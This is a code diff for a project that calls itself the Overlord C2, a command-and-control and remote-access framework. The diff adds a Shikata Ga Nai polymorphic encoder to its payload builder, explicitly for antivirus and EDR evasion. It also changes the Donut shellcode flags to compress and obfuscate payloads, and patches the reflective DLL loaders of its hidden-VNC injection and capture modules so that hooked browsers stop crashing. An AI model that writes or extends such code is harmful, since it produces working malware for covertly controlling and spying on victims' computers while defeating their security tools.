diff --git a/Dockerfile b/Dockerfile
index fa95312..71ae7ff 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -61,6 +61,23 @@ RUN DONUT_TAG=$(curl -sSf "https://api.github.com/repos/TheWover/donut/releases/
echo "WARNING: Donut pre-fetch failed — will fall back to system PATH or download on first use"; \
fi
+# Pre-fetch the latest SGN (Shikata Ga Nai) polymorphic encoder.
+# Used post-Donut to encode raw shellcode for AV/EDR evasion. The runtime
+# sgn-manager will re-check GitHub daily and update automatically; this
+# step just ensures a working binary is available offline / on first use.
+RUN SGN_ASSET=$(curl -sSf "https://api.github.com/repos/EgeBalci/sgn/releases/latest" \
+ | grep -oE '"browser_download_url":[[:space:]]*"[^"]*sgn_linux_amd64[^"]*\.zip"' \
+ | head -1 | cut -d'"' -f4) \
+ && if [ -n "${SGN_ASSET}" ] && curl -sSfL "${SGN_ASSET}" -o /tmp/sgn.zip \
+ && unzip -j -o /tmp/sgn.zip -d /usr/local/bin >/dev/null 2>&1 \
+ && [ -f /usr/local/bin/sgn ]; then \
+ chmod +x /usr/local/bin/sgn; \
+ echo "SGN pre-installed from ${SGN_ASSET}"; \
+ else \
+ echo "WARNING: SGN pre-fetch failed — will fall back to system PATH or download on first use"; \
+ fi \
+ && rm -f /tmp/sgn.zip
+
# Full bun install (includes devDeps needed for tailwind / vendor / minify steps)
COPY Overlord-Server/package.json Overlord-Server/bun.lock* ./
RUN --mount=type=cache,target=/root/.bun/install/cache \
diff --git a/HVNCCapture/src/ReflectiveLoader.c b/HVNCCapture/src/ReflectiveLoader.c
index 900e436..01f9fbf 100644
--- a/HVNCCapture/src/ReflectiveLoader.c
+++ b/HVNCCapture/src/ReflectiveLoader.c
@@ -74,6 +74,9 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
+#ifdef WIN_X64
+ FARPROC pRtlAddFunctionTable = NULL;
+#endif
USHORT usCounter;
@@ -279,6 +282,14 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
uiValueA = DEREF(uiValueA);
}
+#ifdef WIN_X64
+ {
+ HMODULE hNtdll = (HMODULE)pLoadLibraryA("ntdll.dll");
+ if (hNtdll)
+ pRtlAddFunctionTable = pGetProcAddress(hNtdll, "RtlAddFunctionTable");
+ }
+#endif
+
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
@@ -467,6 +478,27 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
}
}
+ // STEP 5b: register exception function table (.pdata) with the OS.
+#ifdef WIN_X64
+ if (pRtlAddFunctionTable)
+ {
+ PIMAGE_NT_HEADERS pLoadedNtHdrs = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
+ if (pLoadedNtHdrs->OptionalHeader.NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_EXCEPTION)
+ {
+ PIMAGE_DATA_DIRECTORY pExcDir = &pLoadedNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
+ if (pExcDir->VirtualAddress && pExcDir->Size)
+ {
+ typedef BOOLEAN(NTAPI* RTLADDFNTABLE)(PRUNTIME_FUNCTION, DWORD, DWORD64);
+ ((RTLADDFNTABLE)pRtlAddFunctionTable)(
+ (PRUNTIME_FUNCTION)(uiBaseAddress + pExcDir->VirtualAddress),
+ pExcDir->Size / sizeof(RUNTIME_FUNCTION),
+ (DWORD64)uiBaseAddress
+ );
+ }
+ }
+ }
+#endif
+
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
diff --git a/HVNCInjection/src/ReflectiveLoader.c b/HVNCInjection/src/ReflectiveLoader.c
index 900e436..952cac5 100644
--- a/HVNCInjection/src/ReflectiveLoader.c
+++ b/HVNCInjection/src/ReflectiveLoader.c
@@ -74,6 +74,9 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
+#ifdef WIN_X64
+ FARPROC pRtlAddFunctionTable = NULL;
+#endif
USHORT usCounter;
@@ -279,6 +282,16 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
uiValueA = DEREF(uiValueA);
}
+#ifdef WIN_X64
+ // Resolve RtlAddFunctionTable so we can register exception unwind data.
+ // Without this, stack unwinding through our hook functions crashes browsers.
+ {
+ HMODULE hNtdll = (HMODULE)pLoadLibraryA("ntdll.dll");
+ if (hNtdll)
+ pRtlAddFunctionTable = pGetProcAddress(hNtdll, "RtlAddFunctionTable");
+ }
+#endif
+
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
@@ -467,6 +480,30 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
}
}
+ // STEP 5b: register exception function table (.pdata) with the OS.
+ // Reflective loading bypasses the normal loader which would do this via
+ // LdrpInsertDataTableEntry. Without registration, any exception that
+ // unwinds through our hook functions causes STATUS_ACCESS_VIOLATION.
+#ifdef WIN_X64
+ if (pRtlAddFunctionTable)
+ {
+ PIMAGE_NT_HEADERS pLoadedNtHdrs = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
+ if (pLoadedNtHdrs->OptionalHeader.NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_EXCEPTION)
+ {
+ PIMAGE_DATA_DIRECTORY pExcDir = &pLoadedNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
+ if (pExcDir->VirtualAddress && pExcDir->Size)
+ {
+ typedef BOOLEAN(NTAPI* RTLADDFNTABLE)(PRUNTIME_FUNCTION, DWORD, DWORD64);
+ ((RTLADDFNTABLE)pRtlAddFunctionTable)(
+ (PRUNTIME_FUNCTION)(uiBaseAddress + pExcDir->VirtualAddress),
+ pExcDir->Size / sizeof(RUNTIME_FUNCTION),
+ (DWORD64)uiBaseAddress
+ );
+ }
+ }
+ }
+#endif
+
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js
index f587656..4c536f1 100644
--- a/Overlord-Server/public/assets/build.js
+++ b/Overlord-Server/public/assets/build.js
@@ -151,6 +151,8 @@ function collectFormSettings() {
useDonut: document.getElementById("donut-mode")?.checked ?? false,
useLinuxShellcode: document.getElementById("linux-shellcode-mode")?.checked ?? false,
shellcodeConsole: document.getElementById("shellcode-console")?.checked ?? false,
+ useSgn: document.getElementById("sgn-mode")?.checked ?? false,
+ sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1,
};
}
@@ -220,6 +222,11 @@ function applyFormSettings(settings) {
if (settings.useLinuxShellcode) applyLinuxShellcodeMode(true);
}
if (settings.shellcodeConsole !== undefined) setCb("#shellcode-console", settings.shellcodeConsole);
+ if (settings.useSgn !== undefined) {
+ setCb("#sgn-mode", settings.useSgn);
+ if (settings.useSgn) applySgnMode(true);
+ }
+ if (settings.sgnIterations !== undefined) setVal("sgn-iterations", settings.sgnIterations);
const restoredObfuscate = document.querySelector('input[name="obfuscate"]');
const garbleContainer = document.getElementById("garble-settings-container");
@@ -494,6 +501,26 @@ function updateShellcodeCheckboxVisibility() {
const linuxScRow = document.getElementById("linux-sc-row");
if (linuxScRow) linuxScRow.classList.toggle("hidden", !hasLinuxAmd64);
+
+ // SGN is only meaningful when there's shellcode to encode — i.e. Donut or
+ // Linux shellcode is enabled on a compatible platform.
+ const donutOn = document.getElementById("donut-mode")?.checked && hasWindows;
+ const linuxScOn = document.getElementById("linux-shellcode-mode")?.checked && hasLinuxAmd64;
+ const sgnRow = document.getElementById("sgn-row");
+ if (sgnRow) sgnRow.classList.toggle("hidden", !(donutOn || linuxScOn));
+ if (!(donutOn || linuxScOn)) {
+ const sgnCheckbox = document.getElementById("sgn-mode");
+ if (sgnCheckbox?.checked) {
+ sgnCheckbox.checked = false;
+ applySgnMode(false);
+ }
+ }
+}
+
+function applySgnMode(enabled) {
+ const badge = document.getElementById("sgn-badge");
+ if (badge) badge.classList.toggle("hidden", !enabled);
+ saveFormSettings();
}
function applyDonutMode(enabled) {
@@ -726,10 +753,27 @@ if (donutCheckbox) {
const linuxScCheckbox = document.getElementById("linux-shellcode-mode");
if (linuxScCheckbox) {
- linuxScCheckbox.addEventListener("change", () => { applyLinuxShellcodeMode(linuxScCheckbox.checked); });
+ linuxScCheckbox.addEventListener("change", () => {
+ applyLinuxShellcodeMode(linuxScCheckbox.checked);
+ updateShellcodeCheckboxVisibility();
+ });
if (linuxScCheckbox.checked) applyLinuxShellcodeMode(true);
}
+if (donutCheckbox) {
+ donutCheckbox.addEventListener("change", () => updateShellcodeCheckboxVisibility());
+}
+
+const sgnCheckbox = document.getElementById("sgn-mode");
+if (sgnCheckbox) {
+ sgnCheckbox.addEventListener("change", () => applySgnMode(sgnCheckbox.checked));
+ if (sgnCheckbox.checked) applySgnMode(true);
+}
+const sgnIterationsInput = document.getElementById("sgn-iterations");
+if (sgnIterationsInput) {
+ sgnIterationsInput.addEventListener("change", () => saveFormSettings());
+}
+
document.querySelectorAll('input[name="platform"]').forEach((el) => {
el.addEventListener("change", () => {
updateShellcodeCheckboxVisibility();
@@ -1482,6 +1526,8 @@ form?.addEventListener("submit", async (e) => {
useDonut: document.getElementById("donut-mode")?.checked || false,
useLinuxShellcode: document.getElementById("linux-shellcode-mode")?.checked || false,
shellcodeConsole: document.getElementById("shellcode-console")?.checked || false,
+ useSgn: document.getElementById("sgn-mode")?.checked || false,
+ sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1,
};
const hasAndroid = platforms.some(p => p.startsWith('android-'));
diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html
index 781970c..fa045b8 100644
--- a/Overlord-Server/public/build.html
+++ b/Overlord-Server/public/build.html
@@ -414,6 +414,30 @@
+
+
+
+
+
+ SGN active — shellcode will be polymorphically encoded
+
+
+
+
+
diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts
index 8049ce7..12f3d14 100644
--- a/Overlord-Server/src/server/build-process.ts
+++ b/Overlord-Server/src/server/build-process.ts
@@ -18,6 +18,7 @@ import {
} from "./toolchain-manager";
import { runDonut } from "./donut-manager";
import { buildLinuxShellcode } from "./linux-shellcode-manager";
+import { runSgn } from "./sgn-manager";
function isClientModuleDir(dir: string): boolean {
return (
@@ -109,6 +110,8 @@ type BuildProcessConfig = {
useDonut?: boolean;
useLinuxShellcode?: boolean;
shellcodeConsole?: boolean;
+ useSgn?: boolean;
+ sgnIterations?: number;
solMemo?: boolean;
solAddress?: string;
solRpcEndpoints?: string;
@@ -1196,6 +1199,9 @@ func runBoundFiles() {
let finalOutputName = outputName;
let finalOutputSize = finalSize;
+ let shellcodeBinPath: string | null = null;
+ let shellcodeArch: "amd64" | "386" | null = null;
+
if (config.useDonut && os === "windows") {
sendToStream({ type: "status", text: `Converting ${platform} PE to shellcode…` });
sendToStream({ type: "output", text: `\nConverting PE → shellcode with Donut...\n`, level: "info" });
@@ -1207,6 +1213,8 @@ func runBoundFiles() {
try { fs.unlinkSync(filePath); } catch {}
finalOutputName = scOutputName;
finalOutputSize = Bun.file(binPath).size;
+ shellcodeBinPath = binPath;
+ shellcodeArch = donutArch;
sendToStream({ type: "output", text: `Shellcode ready: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" });
}
@@ -1221,9 +1229,21 @@ func runBoundFiles() {
try { fs.unlinkSync(filePath); } catch {}
finalOutputName = scOutputName;
finalOutputSize = Bun.file(binPath).size;
+ shellcodeBinPath = binPath;
+ shellcodeArch = "amd64";
sendToStream({ type: "output", text: `Shellcode ready: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" });
}
+ if (config.useSgn && shellcodeBinPath && shellcodeArch) {
+ const iters = Math.max(1, Math.min(50, Math.floor(config.sgnIterations ?? 1)));
+ sendToStream({ type: "status", text: `Encoding ${platform} shellcode with SGN (×${iters})…` });
+ sendToStream({ type: "output", text: `\nEncoding shellcode with SGN (${iters} iteration${iters === 1 ? "" : "s"})...\n`, level: "info" });
+ const ok = await runSgn(shellcodeBinPath, shellcodeBinPath, shellcodeArch, iters, sendToStream);
+ if (!ok) throw new Error(`SGN encoding failed for ${platform}`);
+ finalOutputSize = Bun.file(shellcodeBinPath).size;
+ sendToStream({ type: "output", text: `SGN-encoded shellcode: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" });
+ }
+
(build.files as any[]).push({
name: finalOutputName,
filename: finalOutputName,
diff --git a/Overlord-Server/src/server/donut-manager.ts b/Overlord-Server/src/server/donut-manager.ts
index 5514c54..e681d09 100644
--- a/Overlord-Server/src/server/donut-manager.ts
+++ b/Overlord-Server/src/server/donut-manager.ts
@@ -199,8 +199,15 @@ export async function ensureDonut(
* Flags used:
* -f 1 raw shellcode output (no base64/C/etc wrapping)
* -a 1|2 architecture (1=x86, 2=x64)
- * -b 2 bypass AMSI + WLDP by returning failure (abort) — avoids detection
- * -x 1 exit by thread exit, not process exit — prevents crashing the host
+ * -z 3 compress the embedded PE with LZNT1 — smaller payload + extra obfuscation
+ * NOTE: LZNT1 / Xpress / Xpress-Huffman compression uses Windows
+ * RtlCompressBuffer APIs, so it ONLY works when Donut runs on a
+ * Windows host. On Linux/macOS Donut, only -z 1 (none) and -z 2
+ * (aPLib) are supported and -z 3 will fail at compression time.
+ * -b 1 no AMSI/WLDP bypass — caller is responsible for evasion (e.g. SGN)
+ *
+ * Exit behavior defaults to "exit thread" (-x 1) when -x is omitted, which is
+ * what we want — prevents crashing the host process when the agent terminates.
*
* NOTE — persistence in shellcode mode:
* When the agent runs as shellcode injected into another process, os.Executable()
@@ -235,7 +242,7 @@ export async function runDonut(
try {
// -i flag required since donut v1 (previously positional arg)
- const result = await $`${bin} -f 1 -a ${archFlag} -b 3 -x 1 -o ${outputBin} -i ${inputPe}`
+ const result = await $`${bin} -a ${archFlag} -z 3 -f 1 -b 1 -o ${outputBin} -i ${inputPe}`
.nothrow()
.quiet();
const stdout = result.stdout.toString().trim();
diff --git a/Overlord-Server/src/server/sgn-manager.ts b/Overlord-Server/src/server/sgn-manager.ts
new file mode 100644
index 0000000..42caf11
--- /dev/null
+++ b/Overlord-Server/src/server/sgn-manager.ts
@@ -0,0 +1,209 @@
+import fs from "fs";
+import path from "path";
+import { $ } from "bun";
+import { ensureDataDir } from "../paths";
+import { logger } from "../logger";
+
+const SGN_REPO = "EgeBalci/sgn";
+const VERSION_TTL_MS = 24 * 60 * 60 * 1000;
+
+type CachedVersion = { tag: string; cachedAt: number };
+
+function toolsDir(): string {
+ return path.join(ensureDataDir(), "tools");
+}
+
+function binaryPath(): string {
+ return path.join(toolsDir(), process.platform === "win32" ? "sgn.exe" : "sgn");
+}
+
+function versionFilePath(): string {
+ return path.join(toolsDir(), "sgn.version");
+}
+
+function readCache(): CachedVersion | null {
+ try { return JSON.parse(fs.readFileSync(versionFilePath(), "utf8")); } catch { return null; }
+}
+
+function writeCache(tag: string): void {
+ try {
+ fs.mkdirSync(toolsDir(), { recursive: true });
+ fs.writeFileSync(versionFilePath(), JSON.stringify({ tag, cachedAt: Date.now() }));
+ } catch {}
+}
+
+async function findSystemSgn(): Promise {
+ const systemCandidates = ["/usr/local/bin/sgn", "/usr/bin/sgn", "/go/bin/sgn"];
+ for (const c of systemCandidates) {
+ if (fs.existsSync(c)) return c;
+ }
+ const fromPath = Bun.which("sgn");
+ if (fromPath) return fromPath;
+ return null;
+}
+
+type AssetInfo = { tag: string; downloadUrl: string; assetName: string };
+
+async function fetchLatest(): Promise {
+ try {
+ const res = await fetch(
+ `https://api.github.com/repos/${SGN_REPO}/releases/latest`,
+ { headers: { "User-Agent": "Overlord-C2", Accept: "application/vnd.github+json" } },
+ );
+ if (!res.ok) return null;
+ const data = await res.json() as any;
+ const tag: string = data.tag_name;
+ const assets: { name: string; browser_download_url: string }[] = data.assets ?? [];
+
+ // SGN release is named sgn___.zip
+ const osTag = process.platform === "win32" ? "windows" : process.platform === "darwin" ? "macos" : "linux";
+ const archTag = process.arch === "x64" ? "amd64" : process.arch === "ia32" ? "386" : process.arch;
+
+ const exact = assets.find(a => {
+ const n = a.name.toLowerCase();
+ return n.startsWith(`sgn_${osTag}_${archTag}`) && n.endsWith(".zip");
+ });
+ if (exact) return { tag, downloadUrl: exact.browser_download_url, assetName: exact.name };
+
+ const looseOs = assets.find(a => a.name.toLowerCase().includes(`_${osTag}_`) && a.name.endsWith(".zip"));
+ if (looseOs) return { tag, downloadUrl: looseOs.browser_download_url, assetName: looseOs.name };
+
+ return null;
+ } catch {
+ return null;
+ }
+}
+
+async function downloadAndExtract(url: string, dest: string): Promise {
+ try {
+ fs.mkdirSync(path.dirname(dest), { recursive: true });
+ const res = await fetch(url);
+ if (!res.ok) return false;
+ const buf = await res.arrayBuffer();
+ const tmpZip = dest + ".tmp.zip";
+ fs.writeFileSync(tmpZip, Buffer.from(buf));
+ try {
+ const destDir = path.dirname(dest);
+ const binName = process.platform === "win32" ? "sgn.exe" : "sgn";
+ const r = await $`unzip -o -j ${tmpZip} -d ${destDir}`.nothrow().quiet();
+ if (r.exitCode !== 0) return false;
+ const extracted = path.join(destDir, binName);
+ if (!fs.existsSync(extracted)) {
+ const entries = fs.readdirSync(destDir);
+ const found = entries.find(e => e.toLowerCase().startsWith("sgn") && !e.endsWith(".version") && !e.endsWith(".tmp.zip"));
+ if (!found) return false;
+ fs.renameSync(path.join(destDir, found), dest);
+ } else if (extracted !== dest) {
+ fs.renameSync(extracted, dest);
+ }
+ try { fs.chmodSync(dest, 0o755); } catch {}
+ return true;
+ } finally {
+ try { fs.unlinkSync(tmpZip); } catch {}
+ }
+ } catch {
+ return false;
+ }
+}
+
+export async function ensureSgn(
+ sendToStream?: (data: any) => void,
+): Promise {
+ const bin = binaryPath();
+ const cached = readCache();
+ const binExists = fs.existsSync(bin);
+ const stale = !cached || Date.now() - cached.cachedAt > VERSION_TTL_MS;
+
+ const log = (text: string, level = "info") => {
+ logger.info(`[sgn] ${text.trim()}`);
+ sendToStream?.({ type: "output", text: `${text}\n`, level });
+ };
+
+ if (binExists && !stale) {
+ log(`SGN: using cached ${cached!.tag}`);
+ return bin;
+ }
+
+ const sysBinEarly = await findSystemSgn();
+ if (sysBinEarly) {
+ log(`SGN: using system binary at ${sysBinEarly}`);
+ writeCache("system");
+ return sysBinEarly;
+ }
+
+ log("SGN: checking GitHub for latest release…");
+ const latest = await fetchLatest();
+ if (!latest) {
+ if (binExists) {
+ log(`SGN: GitHub unreachable — using cached ${cached?.tag ?? "unknown"}`, "warn");
+ return bin;
+ }
+ log("SGN: GitHub unreachable and no binary available", "error");
+ return null;
+ }
+
+ if (binExists && cached?.tag === latest.tag) {
+ log(`SGN: already at latest (${latest.tag})`);
+ writeCache(latest.tag);
+ return bin;
+ }
+
+ log(`SGN: downloading ${latest.assetName}…`);
+ const ok = await downloadAndExtract(latest.downloadUrl, bin);
+ if (!ok) {
+ if (binExists) {
+ log(`SGN: download failed — using cached ${cached?.tag ?? "unknown"}`, "warn");
+ return bin;
+ }
+ log("SGN: download failed and no cached binary available", "error");
+ return null;
+ }
+
+ writeCache(latest.tag);
+ log(`SGN: ready (${latest.tag})`);
+ return bin;
+}
+
+export async function runSgn(
+ inputBin: string,
+ outputBin: string,
+ arch: "amd64" | "386",
+ iterations: number,
+ sendToStream: (data: any) => void,
+): Promise {
+ const bin = await ensureSgn(sendToStream);
+ if (!bin) {
+ sendToStream({ type: "output", text: "ERROR: SGN binary not available\n", level: "error" });
+ return false;
+ }
+
+ const archFlag = arch === "386" ? "32" : "64";
+ const enc = Math.max(1, Math.min(50, Math.floor(iterations || 1)));
+
+ const tmpOut = outputBin + ".sgn.tmp";
+ try {
+ try { fs.unlinkSync(tmpOut); } catch {}
+ const result = await $`${bin} -i ${inputBin} -o ${tmpOut} -a ${archFlag} -c ${String(enc)}`
+ .nothrow()
+ .quiet();
+ const stdout = result.stdout.toString().trim();
+ if (stdout) sendToStream({ type: "output", text: stdout + "\n", level: "info" });
+ if (result.exitCode !== 0) {
+ const stderr = result.stderr.toString().trim();
+ sendToStream({ type: "output", text: `SGN failed (exit ${result.exitCode})${stderr ? `: ${stderr}` : ""}\n`, level: "error" });
+ try { fs.unlinkSync(tmpOut); } catch {}
+ return false;
+ }
+ if (!fs.existsSync(tmpOut) || fs.statSync(tmpOut).size === 0) {
+ sendToStream({ type: "output", text: "SGN produced no output\n", level: "error" });
+ try { fs.unlinkSync(tmpOut); } catch {}
+ return false;
+ }
+ fs.renameSync(tmpOut, outputBin);
+ return true;
+ } catch (err: any) {
+ sendToStream({ type: "output", text: `SGN error: ${err?.message ?? err}\n`, level: "error" });
+ try { fs.unlinkSync(tmpOut); } catch {}
+ return false;
+ }
+}
diff --git a/build-hvnc-capture-dll.sh b/build-hvnc-capture-dll.sh
index 18fed25..ae11481 100644
--- a/build-hvnc-capture-dll.sh
+++ b/build-hvnc-capture-dll.sh
@@ -188,7 +188,6 @@ CXXFLAGS="$CXXFLAGS -DHVNCCapture_EXPORTS -DWIN_X64"
CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
CXXFLAGS="$CXXFLAGS -fno-stack-protector"
-CXXFLAGS="$CXXFLAGS -fno-asynchronous-unwind-tables"
CXXFLAGS="$CXXFLAGS -fno-exceptions -fno-rtti"
CXXFLAGS="$CXXFLAGS -I$SRC_DIR"
if [ -n "${MINHOOK_INC:-}" ]; then
@@ -196,19 +195,20 @@ if [ -n "${MINHOOK_INC:-}" ]; then
fi
# C flags for ReflectiveLoader (pure C, no C++)
-CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL"
-CFLAGS="$CFLAGS -DHVNCCapture_EXPORTS -DWIN_X64"
-CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
-CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
-CFLAGS="$CFLAGS -fno-stack-protector"
-CFLAGS="$CFLAGS -fno-asynchronous-unwind-tables"
-CFLAGS="$CFLAGS -I$SRC_DIR"
+# Keep -fno-asynchronous-unwind-tables only for the loader shellcode
+LOADER_CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL"
+LOADER_CFLAGS="$LOADER_CFLAGS -DHVNCCapture_EXPORTS -DWIN_X64"
+LOADER_CFLAGS="$LOADER_CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
+LOADER_CFLAGS="$LOADER_CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
+LOADER_CFLAGS="$LOADER_CFLAGS -fno-stack-protector"
+LOADER_CFLAGS="$LOADER_CFLAGS -fno-asynchronous-unwind-tables"
+LOADER_CFLAGS="$LOADER_CFLAGS -I$SRC_DIR"
if [ -n "${MINHOOK_INC:-}" ]; then
- CFLAGS="$CFLAGS $MINHOOK_INC"
+ LOADER_CFLAGS="$LOADER_CFLAGS $MINHOOK_INC"
fi
echo "Compiling ReflectiveLoader.c ..."
-"$CC" -c $CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c"
+"$CC" -c $LOADER_CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c"
echo "Compiling ReflectiveDll.c (C++) ..."
"$CXX" -c $CXXFLAGS -include "$SRC_DIR/seh_compat.h" -o "$SRC_DIR/ReflectiveDll.o" "$SRC_DIR/ReflectiveDll.c"
@@ -228,7 +228,6 @@ fi
"$CXX" -shared -o "$OUT_DIR/$DLL_NAME" $LINK_OBJS $LINK_LIBS \
-Wl,--entry,DllMain \
- -Wl,--no-seh \
-Wl,--disable-runtime-pseudo-reloc \
-fno-stack-protector \
-fno-exceptions -fno-rtti \
diff --git a/build-hvnc-dll.sh b/build-hvnc-dll.sh
index fb06f53..4fc5459 100644
--- a/build-hvnc-dll.sh
+++ b/build-hvnc-dll.sh
@@ -187,14 +187,16 @@ CFLAGS="$CFLAGS -DHVNCInjection_EXPORTS -DWIN_X64"
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
CFLAGS="$CFLAGS -fno-stack-protector"
-CFLAGS="$CFLAGS -fno-asynchronous-unwind-tables"
CFLAGS="$CFLAGS -I$SRC_DIR"
if [ -n "${MINHOOK_INC:-}" ]; then
CFLAGS="$CFLAGS $MINHOOK_INC"
fi
+# ReflectiveLoader is position-independent shellcode: strip .eh_frame but keep .pdata
+LOADER_CFLAGS="$CFLAGS -fno-asynchronous-unwind-tables"
+
echo "Compiling ReflectiveLoader.c ..."
-"$CC" -c $CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c"
+"$CC" -c $LOADER_CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c"
echo "Compiling ReflectiveDll.c ..."
"$CC" -c $CFLAGS -o "$SRC_DIR/ReflectiveDll.o" "$SRC_DIR/ReflectiveDll.c"
@@ -214,7 +216,6 @@ fi
"$CC" -shared -o "$OUT_DIR/$DLL_NAME" $LINK_OBJS $LINK_LIBS \
-Wl,--entry,DllMain \
- -Wl,--no-seh \
-Wl,--disable-runtime-pseudo-reloc \
-fno-stack-protector \
-s
diff --git a/docker-compose.quickstart.yml b/docker-compose.quickstart.yml
index c162324..7a0ff39 100644
--- a/docker-compose.quickstart.yml
+++ b/docker-compose.quickstart.yml
@@ -61,7 +61,7 @@ services:
restart: unless-stopped
healthcheck:
# Use http:// when OVERLORD_TLS_OFFLOAD=true.
- test: ["CMD-SHELL", "curl -f ${OVERLORD_HEALTHCHECK_URL:-https://localhost:5173/health} >/dev/null 2>&1 || exit 1"]
+ test: ["CMD-SHELL", "wget -qO- --no-check-certificate ${OVERLORD_HEALTHCHECK_URL:-https://localhost:5173/health} >/dev/null 2>&1 || exit 1"]
interval: 30s
timeout: 10s
retries: 3
diff --git a/docker-compose.windows.yml b/docker-compose.windows.yml
index c7d150d..ab55b64 100644
--- a/docker-compose.windows.yml
+++ b/docker-compose.windows.yml
@@ -66,7 +66,7 @@ services:
- no-new-privileges:true
healthcheck:
# Use http:// when OVERLORD_TLS_OFFLOAD=true.
- test: ["CMD-SHELL", "curl -f ${OVERLORD_HEALTHCHECK_URL:-https://localhost:5173/health} >/dev/null 2>&1 || exit 1"]
+ test: ["CMD-SHELL", "wget -qO- --no-check-certificate ${OVERLORD_HEALTHCHECK_URL:-https://localhost:5173/health} >/dev/null 2>&1 || exit 1"]
interval: 30s
timeout: 10s
retries: 3